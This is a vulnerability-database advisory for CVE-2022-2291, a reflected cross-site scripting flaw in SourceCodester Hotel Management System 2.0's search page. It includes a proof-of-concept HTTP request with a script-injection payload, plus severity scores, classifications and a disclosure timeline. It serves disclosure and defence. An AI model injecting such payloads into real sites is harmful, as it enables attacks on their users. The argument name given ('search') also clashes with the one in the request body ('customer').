VDB-203165 · CVE-2022-2291

SOURCECODESTER HOTEL MANAGEMENT SYSTEM 2.0 SEARCH /CI_HMS/SEARCH CROSS SITE SCRIPTING

CVSS Meta Temp Score ?	Current Exploit Price (≈) ?	CTI Interest Score ?
4.5	$0-$5k	0.15

A vulnerability was found in SourceCodester Hotel Management System 2.0 (Hospitality Software). It has been rated as problematic. This issue affects an unknown code of the file */ci_hms/search* of the component *Search*. The manipulation of the argument `search` with the input value `"><script>alert("XSS")</script>` leads to a cross site scripting vulnerability. Using CWE to declare the problem leads to CWE-79. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Impacted is integrity.

The weakness was published 07/03/2022. The advisory is shared at github.com. The identification of this vulnerability is CVE-2022-2291. It demands that the victim is doing some kind of user interaction. Technical details as well as a public exploit are known. MITRE ATT&CK project uses the attack technique T1059.007 for this issue. The following code is the reason for this vulnerability:

```
POST /ci_hms/search HTTP/1.1
Host: localhost
Content-Length: 11
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/ci_hms/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: ci_session=9kn2p06ccqlaaf2fft0qpgso3qdgj7j1
Connection: close
```

```
customer="><script>alert("XSS")</script>
```

It is declared as proof-of-concept. The exploit is available at github.com.

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Product

Type

- Hospitality Software

Vendor

- SourceCodester

Name

- Hotel Management System

CPE 2.3

- 🔒

CPE 2.2

- 🔒

CVSSv3

VulDB Meta Base Score: 4.7
VulDB Meta Temp Score: 4.5

VulDB Base Score: 4.3
VulDB Temp Score: 3.9
VulDB Vector: 🔒
VulDB Reliability: 🔍

NVD Base Score: 5.4
NVD Vector: 🔒

CNA Base Score: 4.3
CNA Vector (VulDB): 🔒

CVSSv2

CVSSv2

VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Reliability: 🔍

NVD Base Score: 🔒

Exploiting

Class: Cross site scripting
CWE: CWE-79 / CWE-74 / CWE-707
ATT&CK: T1059.007

Local: No
Remote: Yes

Availability: 🔒
Access: Public
Status: Proof-of-Concept
Download: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

Price Prediction: 🔍
Current Price Estimation: 🔒

Threat Intelligence

Interest: 🔍

Active Actors: 🔍
Active APT Groups: 🔍

Countermeasures

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔒

Timeline

07/03/2022		Advisory disclosed
07/03/2022	+0 days	CVE reserved
07/03/2022	+0 days	VulDB entry created
07/18/2022	+15 days	VulDB last update

Sources

Advisory: github.com
Status: Not defined

CVE: CVE-2022-2291 (🔒)
scip Labs: https://www.scip.ch/en/?labs.20161013

Entry

Created: 07/03/2022 11:59 AM
Updated: 07/18/2022 01:42 PM
Changes: 07/03/2022 11:59 AM (42), 07/03/2022 12:01 PM (3), 07/18/2022 01:37 PM (2), 07/18/2022 01:42 PM (28)
Complete: 🔍
Submitter: cyberthoth

Discussion

No comments yet. Languages: en.

Please log in to comment.